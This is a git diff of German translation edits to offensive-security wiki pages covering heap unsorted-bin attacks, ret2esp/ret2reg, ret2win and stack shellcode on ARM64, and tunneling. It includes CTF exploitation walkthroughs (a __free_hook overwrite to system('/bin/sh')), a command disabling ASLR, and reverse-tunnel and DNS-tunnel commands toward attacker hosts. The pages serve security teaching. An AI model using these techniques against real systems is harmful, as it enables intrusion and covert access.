+> Daher erfordert dieser unsortierte Bin-Angriff jetzt (neben anderen Überprüfungen) auch, dass die doppelt verkettete Liste so repariert wird, dass `victim->bk->fd == victim` oder nicht `victim->fd == av (arena)`, was bedeutet, dass die Adresse, an die wir schreiben wollen, die Adresse des gefälschten Chunks in ihrer `fd`-Position haben muss und dass der gefälschte Chunk `fd` auf die Arena zeigt.
> [!CAUTION]
-> Beachten Sie, dass dieser Angriff den unsorted bin (und damit auch den kleinen und großen) beschädigt. Daher können wir jetzt nur **Allokationen aus dem Fast Bin verwenden** (ein komplexeres Programm könnte andere Allokationen durchführen und abstürzen), und um dies auszulösen, müssen wir **die gleiche Größe allokieren, sonst wird das Programm abstürzen.**
+> Beachten Sie, dass dieser Angriff den unsortierten Bin (und damit auch kleine und große) beschädigt. Daher können wir jetzt nur **Allokationen aus dem Fast Bin verwenden** (ein komplexeres Programm könnte andere Allokationen durchführen und abstürzen), und um dies auszulösen, müssen wir **die gleiche Größe allokieren, sonst wird das Programm abstürzen.**
>
-> Beachten Sie, dass das Überschreiben von **`global_max_fast`** in diesem Fall hilfreich sein könnte, in der Annahme, dass der Fast Bin in der Lage sein wird, sich um alle anderen Allokationen zu kümmern, bis der Exploit abgeschlossen ist.
+> Beachten Sie, dass das Überschreiben von **`global_max_fast`** in diesem Fall hilfreich sein könnte, da man darauf vertraut, dass der Fast Bin in der Lage sein wird, sich um alle anderen Allokationen zu kümmern, bis der Exploit abgeschlossen ist.
-Der Code von [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) erklärt es sehr gut, obwohl, wenn Sie die Mallocs ändern, um genügend Speicher zu allokieren, damit sie nicht in einem Tcache enden, können Sie sehen, dass der zuvor erwähnte Fehler auftritt, der diese Technik verhindert: **`malloc(): unsorted double linked list corrupted`**
+Der Code von [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) erklärt es sehr gut, obwohl, wenn Sie die Mallocs so ändern, dass sie ausreichend große Speicher allokieren, um nicht in einem Tcache zu enden, Sie sehen können, dass der zuvor erwähnte Fehler auftritt, der diese Technik verhindert: **`malloc(): unsorted double linked list corrupted`**
## Unsorted Bin Infoleak Angriff
-Dies ist tatsächlich ein sehr grundlegendes Konzept. Die Chunks im unsorted bin werden Zeiger haben. Der erste Chunk im unsorted bin wird tatsächlich die **`fd`**- und **`bk`**-Links **auf einen Teil der Hauptarena (Glibc)** zeigen.\
-Daher, wenn Sie **einen Chunk in einen unsorted bin legen und ihn lesen** (use after free) oder **ihn erneut allokieren, ohne mindestens 1 der Zeiger zu überschreiben**, um ihn dann **zu lesen**, können Sie einen **Glibc-Infoleak** erhalten.
+Dies ist tatsächlich ein sehr grundlegendes Konzept. Die Chunks im unsortierten Bin werden Zeiger haben. Der erste Chunk im unsortierten Bin wird tatsächlich die **`fd`**- und **`bk`**-Links **auf einen Teil der Hauptarena (Glibc)** zeigen.\
+Daher, wenn Sie **einen Chunk in einen unsortierten Bin legen und ihn lesen** (use after free) oder **ihn erneut allokieren, ohne mindestens 1 der Zeiger zu überschreiben**, um ihn dann **zu lesen**, können Sie einen **Glibc-Infoleak** erhalten.
Ein ähnlicher [**Angriff, der in diesem Bericht verwendet wurde**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), bestand darin, eine Struktur mit 4 Chunks (A, B, C und D - D dient nur dazu, die Konsolidierung mit dem Top-Chunk zu verhindern) zu missbrauchen, sodass ein Null-Byte-Overflow in B verwendet wurde, um C anzuzeigen, dass B ungenutzt war. Außerdem wurde in B die `prev_size`-Daten so modifiziert, dass die Größe anstelle der Größe von B A+B war.\
Dann wurde C deallokiert und mit A+B konsolidiert (aber B war noch in Benutzung). Ein neuer Chunk der Größe A wurde allokiert und dann wurden die geleakten Adressen der libc in B geschrieben, von wo sie geleakt wurden.
@@ -40,34 +40,34 @@ Dann wurde C deallokiert und mit A+B konsolidiert (aber B war noch in Benutzung)
- Das Ziel ist es, eine globale Variable mit einem Wert größer als 4869 zu überschreiben, damit es möglich ist, die Flagge zu erhalten und PIE nicht aktiviert ist.
- Es ist möglich, Chunks beliebiger Größen zu generieren, und es gibt einen Heap-Overflow mit der gewünschten Größe.
- Der Angriff beginnt mit der Erstellung von 3 Chunks: chunk0, um den Overflow auszunutzen, chunk1, um überflutet zu werden, und chunk2, damit der Top-Chunk die vorherigen nicht konsolidiert.
-- Dann wird chunk1 freigegeben und chunk0 wird überflutet, sodass der `bk`-Zeiger von chunk1 aufzeigt: `bk = magic - 0x10`
-- Dann wird chunk3 mit der gleichen Größe wie chunk1 allokiert, was den unsorted bin Angriff auslöst und den Wert der globalen Variable ändert, wodurch es möglich wird, die Flagge zu erhalten.
+- Dann wird chunk1 freigegeben und chunk0 wird überflutet, sodass der `bk`-Zeiger von chunk1 auf `bk = magic - 0x10` zeigt.
+- Dann wird chunk3 mit der gleichen Größe wie chunk1 allokiert, was den unsortierten Bin-Angriff auslöst und den Wert der globalen Variable ändert, wodurch es möglich wird, die Flagge zu erhalten.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- Die Merge-Funktion ist anfällig, weil, wenn beide übergebenen Indizes gleich sind, sie darauf realloc und dann freigeben wird, aber einen Zeiger auf diesen freigegebenen Bereich zurückgibt, der verwendet werden kann.
- Daher werden **2 Chunks erstellt**: **chunk0**, das mit sich selbst zusammengeführt wird, und chunk1, um die Konsolidierung mit dem Top-Chunk zu verhindern. Dann wird die **Merge-Funktion mit chunk0** zweimal aufgerufen, was zu einem Use-After-Free führt.
- Dann wird die **`view`**-Funktion mit Index 2 (der Index des Use-After-Free-Chunks) aufgerufen, was **eine libc-Adresse leakt**.
-- Da die Binärdatei Schutzmaßnahmen hat, um nur Malloc-Größen größer als **`global_max_fast`** zuzulassen, wird ein unsorted bin Angriff verwendet, um die globale Variable `global_max_fast` zu überschreiben.
-- Dann ist es möglich, die Edit-Funktion mit Index 2 (dem Use-After-Free-Zeiger) aufzurufen und den `bk`-Zeiger so zu überschreiben, dass er auf `p64(global_max_fast-0x10)` zeigt. Dann wird ein neuer Chunk erstellt, der die zuvor kompromittierte freigegebene Adresse (0x20) verwendet, was den **unsorted bin Angriff** auslöst, der `global_max_fast` überschreibt, was einen sehr großen Wert hat, wodurch jetzt Chunks in Fast Bins erstellt werden können.
+- Da die Binärdatei Schutzmaßnahmen hat, um nur Malloc-Größen größer als **`global_max_fast`** zuzulassen, wird ein unsortierter Bin-Angriff verwendet, um die globale Variable `global_max_fast` zu überschreiben.
+- Dann ist es möglich, die Edit-Funktion mit Index 2 (dem Use-After-Free-Zeiger) aufzurufen und den `bk`-Zeiger so zu überschreiben, dass er auf `p64(global_max_fast-0x10)` zeigt. Dann wird ein neuer Chunk erstellt, der die zuvor kompromittierte freigegebene Adresse (0x20) verwendet, was den **unsortierten Bin-Angriff** auslöst, der `global_max_fast` mit einem sehr großen Wert überschreibt, wodurch es jetzt möglich ist, Chunks in Fast Bins zu erstellen.
- Jetzt wird ein **Fast Bin Angriff** durchgeführt:
-- Zunächst wird entdeckt, dass es möglich ist, mit schnellen **Chunks der Größe 200** im **`__free_hook`**-Standort zu arbeiten:
--
gef➤ p &__free_hook
-$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+- Zunächst wird entdeckt, dass es möglich ist, mit Fast **Chunks der Größe 200** im **`__free_hook`**-Bereich zu arbeiten:
+-
-- Wenn es uns gelingt, einen schnellen Chunk der Größe 0x200 an diesem Ort zu erhalten, wird es möglich sein, einen Funktionszeiger zu überschreiben, der ausgeführt wird.
+- Wenn es uns gelingt, einen Fast-Chuck der Größe 0x200 an dieser Stelle zu erhalten, wird es möglich sein, einen Funktionszeiger zu überschreiben, der ausgeführt wird.
- Dazu wird ein neuer Chunk der Größe `0xfc` erstellt und die Merge-Funktion wird mit diesem Zeiger zweimal aufgerufen, sodass wir einen Zeiger auf einen freigegebenen Chunk der Größe `0xfc*2 = 0x1f8` im Fast Bin erhalten.
- Dann wird die Edit-Funktion in diesem Chunk aufgerufen, um die **`fd`**-Adresse dieses Fast Bins so zu ändern, dass sie auf die vorherige **`__free_hook`**-Funktion zeigt.
- Dann wird ein Chunk der Größe `0x1f8` erstellt, um den vorherigen nutzlosen Chunk aus dem Fast Bin abzurufen, sodass ein weiterer Chunk der Größe `0x1f8` erstellt wird, um einen Fast Bin Chunk im **`__free_hook`** zu erhalten, der mit der Adresse der **`system`**-Funktion überschrieben wird.
-- Und schließlich wird ein Chunk, der den String `/bin/sh\x00` enthält, freigegeben, indem die Delete-Funktion aufgerufen wird, was die **`__free_hook`**-Funktion auslöst, die auf system mit `/bin/sh\x00` als Parameter zeigt.
+- Und schließlich wird ein Chunk, der die Zeichenfolge `/bin/sh\x00` enthält, freigegeben, indem die Delete-Funktion aufgerufen wird, was die **`__free_hook`**-Funktion auslöst, die auf system mit `/bin/sh\x00` als Parameter zeigt.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-- Ein weiteres Beispiel für den Missbrauch eines 1B-Overflows zur Konsolidierung von Chunks im unsorted bin und zum Erhalten eines libc-Infoleaks und dann zur Durchführung eines Fast Bin Angriffs, um den Malloc-Hook mit einer One-Gadget-Adresse zu überschreiben.
+- Ein weiteres Beispiel für den Missbrauch eines 1B-Overflows zur Konsolidierung von Chunks im unsortierten Bin und zum Erhalten eines libc-Infoleaks und dann zur Durchführung eines Fast Bin-Angriffs, um den Malloc-Hook mit einer One-Gadget-Adresse zu überschreiben.
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- Wir können nur Chunks mit einer Größe größer als `0x100` allokieren.
-- Überschreiben von `global_max_fast` mit einem Unsorted Bin Angriff (funktioniert 1/16 Mal aufgrund von ASLR, da wir 12 Bits modifizieren müssen, aber 16 Bits modifizieren müssen).
-- Fast Bin Angriff, um ein globales Array von Chunks zu modifizieren. Dies gibt eine beliebige Lese-/Schreibprimitive, die es ermöglicht, die GOT zu modifizieren und einige Funktionen auf `system` zu zeigen.
+- Überschreiben von `global_max_fast` mit einem Unsorted Bin-Angriff (funktioniert 1/16 Mal aufgrund von ASLR, da wir 12 Bits modifizieren müssen, aber 16 Bits modifizieren müssen).
+- Fast Bin-Angriff zur Modifikation eines globalen Arrays von Chunks. Dies gibt eine beliebige Lese-/Schreibprimitive, die es ermöglicht, die GOT zu modifizieren und einige Funktionen auf `system` zu zeigen.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
index 036921f45..5142cb3f3 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
@@ -4,7 +4,7 @@
## **Ret2esp**
-**Da der ESP (Stack Pointer) immer auf die Spitze des Stacks zeigt**, besteht diese Technik darin, den EIP (Instruction Pointer) durch die Adresse einer **`jmp esp`** oder **`call esp`** Anweisung zu ersetzen. Dadurch wird der Shellcode direkt nach dem überschriebenen EIP platziert. Wenn die `ret` Anweisung ausgeführt wird, zeigt ESP auf die nächste Adresse, genau dort, wo der Shellcode gespeichert ist.
+**Da der ESP (Stack Pointer) immer auf die Spitze des Stacks zeigt**, besteht diese Technik darin, den EIP (Instruction Pointer) mit der Adresse einer **`jmp esp`** oder **`call esp`** Anweisung zu ersetzen. Dadurch wird der Shellcode direkt nach dem überschriebenen EIP platziert. Wenn die `ret` Anweisung ausgeführt wird, zeigt ESP auf die nächste Adresse, genau dort, wo der Shellcode gespeichert ist.
Wenn **Address Space Layout Randomization (ASLR)** in Windows oder Linux nicht aktiviert ist, ist es möglich, `jmp esp` oder `call esp` Anweisungen in gemeinsam genutzten Bibliotheken zu verwenden. Mit aktivem [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) muss man jedoch möglicherweise innerhalb des anfälligen Programms selbst nach diesen Anweisungen suchen (und man könnte [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) überwinden müssen).
@@ -82,7 +82,7 @@ target.interactive()
### Beispiel
-Sie finden einige Beispiele hier:
+Sie finden einige Beispiele hier:
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
@@ -108,7 +108,7 @@ Wenn ein Register eine interessante Adresse hat, ist es möglich, zu ihm zu spri
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
-In ARM64 speichert **`x0`** den Rückgabewert einer Funktion, daher könnte es sein, dass x0 die Adresse eines vom Benutzer kontrollierten Puffers mit einem auszuführenden Shellcode speichert.
+In ARM64 speichert **`x0`** den Rückgabewert einer Funktion, daher könnte es sein, dass x0 die Adresse eines vom Benutzer kontrollierten Puffers mit einem Shellcode speichert, der ausgeführt werden soll.
Beispielcode:
```c
@@ -135,7 +135,7 @@ do_stuff(2)
return 0;
}
```
-Die Überprüfung der Disassemblierung der Funktion zeigt, dass die **Adresse zum Puffer** (anfällig für bof und **vom Benutzer kontrolliert**) **in `x0` gespeichert** wird, bevor von der Pufferüberlauf zurückgegeben wird:
+Überprüft man die Disassemblierung der Funktion, ist es möglich zu sehen, dass die **Adresse zum Puffer** (anfällig für bof und **vom Benutzer kontrolliert**) **in `x0` gespeichert** wird, bevor von der Pufferüberlauf zurückgekehrt wird:
@@ -143,7 +143,7 @@ Es ist auch möglich, das Gadget **`br x0`** in der **`do_stuff`** Funktion zu f
-Wir werden dieses Gadget verwenden, um zu ihm zu springen, da das Binary **OHNE PIE** kompiliert ist. Mit einem Muster ist es möglich zu sehen, dass der **Offset des Pufferüberlaufs 80 beträgt**, sodass der Exploit folgendermaßen aussehen würde:
+Wir werden dieses Gadget verwenden, um dorthin zu springen, da das Binary **OHNE PIE** kompiliert ist. Mit einem Muster ist es möglich zu sehen, dass der **Offset des Pufferüberlaufs 80 beträgt**, sodass der Exploit folgendermaßen aussehen würde:
```python
from pwn import *
@@ -162,12 +162,12 @@ p.interactive()
> Wenn anstelle von `fgets` etwas wie **`read`** verwendet worden wäre, wäre es möglich gewesen, PIE zu umgehen, indem **nur die letzten 2 Bytes der Rücksprungadresse überschrieben** werden, um zur `br x0;`-Anweisung zurückzukehren, ohne die vollständige Adresse zu kennen.\
> Mit `fgets` funktioniert es nicht, da es **ein Nullbyte (0x00) am Ende hinzufügt**.
-## Schutzmaßnahmen
+## Protections
-- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Wenn der Stack nicht ausführbar ist, hilft das nicht, da wir den Shellcode im Stack platzieren und zu seiner Ausführung springen müssen.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Diese können es erschweren, eine Anweisung zu finden, zu der man zu esp oder einem anderen Register springen kann.
+- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Wenn der Stack nicht ausführbar ist, hilft das nicht, da wir den Shellcode im Stack platzieren und ihn ausführen müssen.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Diese können es erschweren, eine Anweisung zu finden, um zu esp oder einem anderen Register zu springen.
-## Referenzen
+## References
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md
index 3ddb17c42..f45399089 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/README.md
@@ -63,14 +63,14 @@ Um die Adresse der `win`-Funktion zu finden, können Sie **gdb**, **objdump** od
```sh
objdump -d vulnerable | grep win
```
-Dieser Befehl zeigt Ihnen die Assemblierung der `win`-Funktion, einschließlich ihrer Startadresse.
+Dieser Befehl zeigt Ihnen die Assemblierung der `win`-Funktion, einschließlich ihrer Startadresse.
Das Python-Skript sendet eine sorgfältig gestaltete Nachricht, die, wenn sie von der `vulnerable_function` verarbeitet wird, den Puffer überläuft und die Rücksprungadresse auf dem Stack mit der Adresse von `win` überschreibt. Wenn `vulnerable_function` zurückkehrt, springt es anstelle der Rückkehr zu `main` oder des Verlassens zu `win`, und die Nachricht wird ausgegeben.
## Schutzmaßnahmen
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **sollte deaktiviert sein**, damit die Adresse über Ausführungen hinweg zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, wird nicht immer gleich sein, und Sie benötigen einen Leak, um herauszufinden, wo die win-Funktion geladen ist. In einigen Fällen, wenn die Funktion, die den Überlauf verursacht, `read` oder ähnlich ist, können Sie eine **Teilweise Überschreibung** von 1 oder 2 Bytes durchführen, um die Rücksprungadresse auf die win-Funktion zu ändern. Aufgrund der Funktionsweise von ASLR sind die letzten drei hexadezimalen Nibbles nicht randomisiert, sodass es eine **1/16 Chance** (1 Nibble) gibt, die korrekte Rücksprungadresse zu erhalten.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert werden, oder die kompromittierte EIP-Rücksprungadresse wird niemals befolgt.
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **sollte deaktiviert sein**, damit die Adresse über verschiedene Ausführungen hinweg zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, wird nicht immer gleich sein und Sie benötigen einen Leak, um herauszufinden, wo die win-Funktion geladen ist. In einigen Fällen, wenn die Funktion, die den Überlauf verursacht, `read` oder ähnlich ist, können Sie eine **Teilweise Überschreibung** von 1 oder 2 Bytes durchführen, um die Rücksprungadresse auf die win-Funktion zu ändern. Aufgrund der Funktionsweise von ASLR sind die letzten drei hexadezimalen Nibbles nicht randomisiert, sodass es eine **1/16 Chance** (1 Nibble) gibt, die korrekte Rücksprungadresse zu erhalten.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert werden, da die kompromittierte EIP-Rücksprungadresse niemals gefolgt wird.
## Weitere Beispiele & Referenzen
@@ -94,7 +94,7 @@ Das Python-Skript sendet eine sorgfältig gestaltete Nachricht, die, wenn sie vo
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 Bit, relro, kein Canary, nx, pie. Partielle Überschreibung, um die win-Funktion (ret2win) aufzurufen
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
-- arm64, PIE, es gibt einen PIE-Leak, die win-Funktion sind tatsächlich 2 Funktionen, also ROP-Gadget, das 2 Funktionen aufruft
+- arm64, PIE, es gibt einen PIE-Leak, die win-Funktion ist tatsächlich 2 Funktionen, also ROP-Gadget, das 2 Funktionen aufruft
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- ARM64, off-by-one, um eine win-Funktion aufzurufen
diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index 4cf612fdb..fbf4dfbfc 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -8,7 +8,7 @@ Finden Sie eine Einführung in arm64 in:
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
+## Code
```c
#include
#include
@@ -27,7 +27,7 @@ vulnerable_function();
return 0;
}
```
-Kompilieren ohne pie und canary:
+Kompilieren ohne PIE und Canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
@@ -83,7 +83,7 @@ Dann: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
### Regulär
-Hole dir die Adresse der **`win`** Funktion:
+Hole die Adresse der **`win`** Funktion:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
@@ -135,7 +135,7 @@ p.close()
```
-Ein weiteres Off-by-One-Beispiel in ARM64 finden Sie unter [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), das ein echtes Off-by-**one** in einer fiktiven Schwachstelle ist.
+Sie finden ein weiteres Off-by-One-Beispiel in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), das ein echtes Off-by-**one** in einer fiktiven Schwachstelle ist.
## Mit PIE
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
index 03c7d37d2..ae97375cd 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -8,7 +8,7 @@ Finden Sie eine Einführung in arm64 in:
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
+## Code
```c
#include
#include
@@ -27,13 +27,13 @@ Kompilieren ohne pie, canary und nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
-## Kein ASLR & Kein Canary - Stack Overflow
+## Kein ASLR & Kein Canary - Stack Overflow
Um ASLR zu stoppen, führe aus:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
-Um den [**Offset des bof zu erhalten, überprüfen Sie diesen Link**](../ret2win/ret2win-arm64.md#finding-the-offset).
+Um die [**Offset des bof zu erhalten, überprüfen Sie diesen Link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Exploits:
```python
@@ -68,6 +68,6 @@ p.interactive()
```
Die einzige "komplizierte" Sache, die hier zu finden wäre, wäre die Adresse im Stack, die aufgerufen werden soll. In meinem Fall habe ich den Exploit mit der Adresse generiert, die ich mit gdb gefunden habe, aber dann hat es beim Ausnutzen nicht funktioniert (weil sich die Stack-Adresse ein wenig geändert hat).
-Ich habe die generierte **`core`-Datei** (`gdb ./bog ./core`) geöffnet und die tatsächliche Adresse des Starts des Shellcodes überprüft.
+Ich öffnete die generierte **`core`-Datei** (`gdb ./bog ./core`) und überprüfte die tatsächliche Adresse des Starts des Shellcodes.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md
index ce77b36fa..d848dd5f5 100644
--- a/src/generic-hacking/tunneling-and-port-forwarding.md
+++ b/src/generic-hacking/tunneling-and-port-forwarding.md
@@ -322,7 +322,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
Es ist wie eine Konsolenversion von PuTTY (die Optionen sind sehr ähnlich zu einem ssh-Client).
-Da dieses Binary auf dem Opfer ausgeführt wird und es sich um einen ssh-Client handelt, müssen wir unseren ssh-Dienst und Port öffnen, damit wir eine umgekehrte Verbindung haben können. Dann, um nur einen lokal zugänglichen Port auf einen Port in unserer Maschine weiterzuleiten:
+Da dieses Binary auf dem Opfer ausgeführt wird und es sich um einen ssh-Client handelt, müssen wir unseren ssh-Dienst und -Port öffnen, damit wir eine umgekehrte Verbindung herstellen können. Um dann nur einen lokal zugänglichen Port auf einen Port in unserer Maschine weiterzuleiten:
```bash
echo y | plink.exe -l -pw [-p ] -R ::
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
@@ -354,7 +354,7 @@ Laden Sie in Ihrem Client-Computer **`SocksOverRDP-Plugin.dll`** wie folgt:
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
-Jetzt können wir über **RDP** mit der **Opfer** über **`mstsc.exe`** **verbinden**, und wir sollten eine **Aufforderung** erhalten, die besagt, dass das **SocksOverRDP-Plugin aktiviert ist**, und es wird auf **127.0.0.1:1080** **lauschen**.
+Jetzt können wir über **RDP** mit der **Opfer**-Maschine über **`mstsc.exe`** **verbinden**, und wir sollten eine **Aufforderung** erhalten, die besagt, dass das **SocksOverRDP-Plugin aktiviert ist** und es auf **127.0.0.1:1080** **lauschen** wird.
**Verbinden** Sie sich über **RDP** und laden Sie die `SocksOverRDP-Server.exe`-Binärdatei auf der Opfermaschine hoch und führen Sie sie aus:
```
@@ -384,7 +384,7 @@ http-proxy 8080 ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Es authentifiziert sich gegen einen Proxy und bindet einen Port lokal, der an den externen Dienst weitergeleitet wird, den Sie angeben. Dann können Sie das Tool Ihrer Wahl über diesen Port verwenden.\
-Zum Beispiel, um den Port 443 weiterzuleiten.
+Zum Beispiel, um Port 443 weiterzuleiten.
```
Username Alice
Password P@ssw0rd
@@ -392,12 +392,12 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222::443
```
-Jetzt, wenn Sie beispielsweise den **SSH**-Dienst auf dem Opfer auf Port 443 einstellen, können Sie über den Angreifer-Port 2222 eine Verbindung herstellen.\
-Sie könnten auch einen **meterpreter** verwenden, der sich mit localhost:443 verbindet, während der Angreifer auf Port 2222 lauscht.
+Jetzt, wenn Sie beispielsweise den **SSH**-Dienst auf dem Opfer auf Port 443 einstellen, können Sie sich über den Angreifer-Port 2222 damit verbinden.\
+Sie könnten auch einen **meterpreter** verwenden, der sich mit localhost:443 verbindet und der Angreifer auf Port 2222 lauscht.
## YARP
-Ein Reverse-Proxy, der von Microsoft erstellt wurde. Sie finden es hier: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
+Ein Reverse-Proxy, der von Microsoft erstellt wurde. Sie finden ihn hier: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
## DNS Tunneling
@@ -411,7 +411,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
-Der Tunnel wird sehr langsam sein. Sie können eine komprimierte SSH-Verbindung durch diesen Tunnel erstellen, indem Sie:
+Der Tunnel wird sehr langsam sein. Sie können eine komprimierte SSH-Verbindung durch diesen Tunnel erstellen, indem Sie Folgendes verwenden:
```
ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
@@ -440,9 +440,9 @@ Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret som
session -i
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
-#### Ändern Sie den DNS von proxychains
+#### Ändern Sie den DNS von Proxychains
-Proxychains intercepts `gethostbyname` libc call und tunnelt TCP-DNS-Anfragen durch den SOCKS-Proxy. Standardmäßig ist der DNS-Server, den proxychains verwendet, **4.2.2.2** (fest codiert). Um ihn zu ändern, bearbeiten Sie die Datei: _/usr/lib/proxychains3/proxyresolv_ und ändern Sie die IP. Wenn Sie sich in einer **Windows-Umgebung** befinden, können Sie die IP des **Domänencontrollers** festlegen.
+Proxychains intercepts `gethostbyname` libc call und tunnelt TCP-DNS-Anfragen durch den SOCKS-Proxy. Standardmäßig ist der DNS-Server, den Proxychains verwendet, **4.2.2.2** (fest codiert). Um ihn zu ändern, bearbeiten Sie die Datei: _/usr/lib/proxychains3/proxyresolv_ und ändern Sie die IP. Wenn Sie sich in einer **Windows-Umgebung** befinden, können Sie die IP des **Domänencontrollers** festlegen.
## Tunnel in Go
@@ -455,7 +455,7 @@ Proxychains intercepts `gethostbyname` libc call und tunnelt TCP-DNS-Anfragen du
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
-Root wird in beiden Systemen benötigt, um Tun-Adapter zu erstellen und Daten zwischen ihnen mithilfe von ICMP-Echo-Anfragen zu tunneln.
